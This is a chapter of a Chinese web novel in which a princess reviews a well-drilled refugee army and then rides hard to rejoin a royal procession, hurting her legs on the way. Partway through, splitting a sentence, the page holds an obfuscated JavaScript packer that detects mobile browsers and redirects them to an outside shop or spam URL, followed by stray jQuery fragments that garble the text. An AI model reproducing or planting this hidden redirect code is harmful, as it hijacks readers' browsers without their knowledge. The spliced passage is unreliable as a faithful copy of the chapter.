155. 第 155 章

作品:《穿成公主的我登基了

    石忠之前禀告的用她给的训练法门并未有多大成效,还是要求苛刻了些,今日一见打眼一瞧,这么一大群本该无组织、无纪律、无素质流民组建的亲兵队伍,在荣晞看来虽然比不上后世军队纪律规整,但已经比高校军训演习中呈现的队伍更显整肃和凛然了。


    石忠从未去军中看过,又日日同这些士兵们在一起,感受不出来这样潜移默化的改变,但刚从边疆回来的火铃和黄续确实觉得诧异无比,家中历代武将出身的窦毅更是惊骇不已,别说只是草草组建还未经历过多少训练的民兵队伍,便是京畿大营的军队也少有这样的纪律性和凝聚力。


    此时窦毅脑海中闪现的,是历史上赫赫有名战不胜的虎将,及其麾下如臂使指,攻无不克的强军,但那样的军队,无一不是主将大权在握,却同士兵同寝同食,还要经历过数年一场又一场腥风血雨的大战洗礼,才能得到如此骇然的军心凝聚力。


    看看面前这些人,数千人如同一人般不动如山,安静得清风入耳,站得青松挺拔,整齐得如铺满棋盘的黑子,眼神坚毅,明明身上没有多少血煞气,却自带身经百战的精锐威压,看得窦毅毛骨悚然。


    再看公主殿下满意地颔首,眉眼舒展地微微上扬,只觉更加骇然,他早便知道公主殿下收留了不少流民,在这乱世实在不稀奇,世家大族往往也在这个时候聚敛人口。但殿下心善慈悲,本就在各地施粥设棚搭救流民性命,她收容人口定然同世家大族抱着不同的目的,他最开始只觉得是公主殿下心善,相信若是其他人知道也会同他一样想。


    他也知道殿下将一部分流民聚拢成兵,他之前也没有太放到心上,虽不合朝廷规矩,但高门大族哪家没有几百近千人的私兵部曲,公主殿下这不过人数多了一些而已,但公主殿下毕竟身份尊贵,虽无亲王之名,但如今的地位也同亲王无异了,封地上又有那么多田地和手无缚鸡之力的流民,多训练一些私兵部曲也是无可厚非。


    但直到现在,他看到面前这些人,才惊觉不对劲,哪家训练出来的私兵部曲能有这样远胜正规军的军纪和气势啊!这样的军队足足五千人的规制,若是放到京城,怕是宫门都不安稳,皇帝都要寝食难安了吧?!明明上次见到才没多久,不是还听说公主殿下还在发愁军队没有合适的教头吗?!


    再看向公主身边面貌温良纯善的石忠,他现在还一副赧然的样子,这些时日他可是一直跟着公主殿下在北地这才回荆州,这些兵都是这小子训练出来的吧!想起这几日这小子总往他身边凑,似乎想让他推荐两个在京中不顺的将士来荆州,窦毅顿时一口老血就哽了上来。你小子没说是这样的军队啊?!!


    荣晞自然不知晓窦毅在身后的头脑风暴,在五千将士面前露了露脸,说了些勉励的话,许诺了给他们安稳,比朝廷军队更优渥的报酬,和远大的前程。


    她也不是画饼,这些人在她手下虽算不得名正言顺的军人,但如今她身份非同一般公主,便是如今新帝即将登基,朝堂之上她亦有不小的话语权,更何况承天门前的英灵碑伫立在那里一日,大燕的将士们就记得濮阳公主为军武之人掏心置腹的恩德;北境走了一遭,她即便只是个不曾上战场杀一人的督军,那也是实打实的战功在手,武将们亲近她这个濮阳公主,更甚信重朝廷,她若想送几个有本事的人到军中建功立业,无论是中央府兵,还是边境驻军,都只是一句话的事。


    但这些流民实则没有那么多心思,他们远离故土流亡中原,一路上饿死病死冻死的同行不知凡几,又不知道有多少人,是靠着濮阳公主沿途设立的粥棚陋室,苟延残喘地活下来的,他们愿意来荆州,就是感念公主殿下的大恩大德。


    他们虽没有多少文化,但活命之恩何其厚重,他们都是知道的,他们都不是忘恩负义的白眼狼,如今他们重新落了户籍,个个都是良民,日日都有饱饭入腹,夜夜都住在安全的屋舍,有的人家中牵绊也一并来了荆州,种粮做工,眼看着能安稳地活下去,眼看着未来越来越有盼头,便是让他们现在去为殿下赴汤蹈火,他们也绝无二话。


    荣晞有巡视了军营中搭起来的屋舍,做饭的火石营,不算充裕的武库,和看着不算太热闹的马厩,同将士们一起吃了一顿晚膳,都是简单的粗茶淡饭,并未额外添什么不同于常人的菜。


    在军营逗留了不少时辰,暮色将晚,一行人这才再次上马回公主别业。濮阳县的事务不少,这些全部处理完,他们已经耽搁了三日了。明日一早就得启程,大部队带着大行皇帝的龙輴往京城行经,沿途驿站会一封接一封不停歇地往京城送信,她们偷偷留下来在荆州逗留的这几日一直掩人耳目,不会落人口舌。好在有南星这个女人坐在马车中伪装荣晞的身份,也只需要每日驿站上下马车时,戴着维帽在人前晃一眼便不会引人怀疑。


    但这也意味着刘将军带领的队伍得一直保持正常的速度,不会等她们,她们需快马加鞭赶上去,说是耽误时间久了,怕真就难以追上了。


    这也是荣晞这几日在濮阳县,都骑马出行的原因,外人只知道公主殿下无所不能,但自家人知自家事,她实则真就是个刚学会骑马的新手,便是从荆州府快马奔到濮阳县,那也只是短时间意气上头,那日遣散了下人自己在内室脱去亵裤,两边腿根内侧便已磨得红肿不堪。


    明日开始,骑马疾奔百余里的路程,这对她来说,会是一个非常艰难的挑战。但计划是荣晞自己亲自制定的,下面心腹都神化了她的能力,她也不会让追随她的人失望。


    安眠一夜,次日天刚蒙蒙亮,一行人便上马出了城,这次火铃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400566|188710||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    留下来整顿军队,一起锻炼默契,石忠同一行人一起护送公主殿下回京。


    荣晞能明显感觉到今日的石忠同窦毅亲近了不少,窦毅还时不时向她投去不好意思又尊敬的目光,与过往对她身为濮阳公主的尊敬不甚相同。荣晞知道还是让她和石忠得偿所愿了,也不知道那小子同窦毅说了什么,明明昨天还不无不同,她还以为要暂时放弃这个最好的人选,转而计划要打持久战了呢!


    但赶起路来荣晞便将全副心神放到座下马匹,和眼前道路上,再顾不得其他,窦毅也没有特意上前,找荣晞多说什么,一行人沉默的赶路,又是三日后的黄昏,才终于见到了前方乌泱泱的禁军队伍身影。


    此时已经离京畿道近在咫尺,不过两日路程了。


    连忙将面色惨白的公主殿下迎上马车,荣晞瘫倒在宽敞的美人榻上,车内没有外人荣晞双腿不停地打着颤。等不及到前方驿站停下歇脚,高延顺和南星便将荣晞身上灰扑扑低调的缺胯袍褪了下来。


    “天哪,殿下!”高延顺惊呼,眼眶瞬间涌上泪意,心疼不已,“您腿上全是血!”


    倒是南星更冷静几分,低声斥道:“小声点,你想让外面都听到吗?”虽然随行禁卫军都是公主殿下信得过了自己人,但南星理解像殿下这样的身份,总不想让手下看到她的脆弱和难堪。


    “拿剪刀来!”南星转过头看向已经疲累得合上眼的殿下,眼中也不乏心疼。但她自觉比高延顺更能懂得殿下的志向,知道殿下必然是还清醒着,便开口道:“殿下,伤口的血有一些凝固住了,粘住了磨破的裤子,属下需将裤子褪下来,会有点疼,您忍一忍。”


    伤在自己身上,即便已经疼痛得有些麻木,但荣晞不可能不知道是什么情况,闭着眼轻轻颔首,抬手用窄袖挡住大半张脸,咬着牙任由南星和高延顺动作。


    南星动作麻利的将并未粘住,碍事的裤管剪破,露出殿下细腻白皙肌肤上,鲜血掺杂着尘土的斑驳痕迹,即便不忍心,还是快速将粘连在伤口处的碎布扯了下来,听见上面难以抑制的倒吸冷气的嘶声,腿根处磨破的伤口再次渗出鲜血来。


    高延顺不忍心地低下头,眼眶红红地默默给南星姑娘递上她需要的东西,赶紧柔软的丝绵,蘸上已经准备好的甘草水轻轻擦拭伤处的脏污,比军中常用的盐水或是艾叶水、花椒水都要温和,公主殿下再没发出吸气声,只有为她处理伤处的南星,能感受到手下躯体轻微的颤动。


    过了好一会儿,肌肤上刺眼的脏污痕迹尽数抹去,伤口依旧狰狞,深红色的痂和鲜嫩的软肉交错着,若是十来岁大门不出二门不迈的闺阁小姐见了,肯定要觉得害怕的。南星却是松了一口气,接过高延顺又递过来洁净的软绢,轻轻拭干殿下伤处的水渍和新渗出来的鲜红血渍。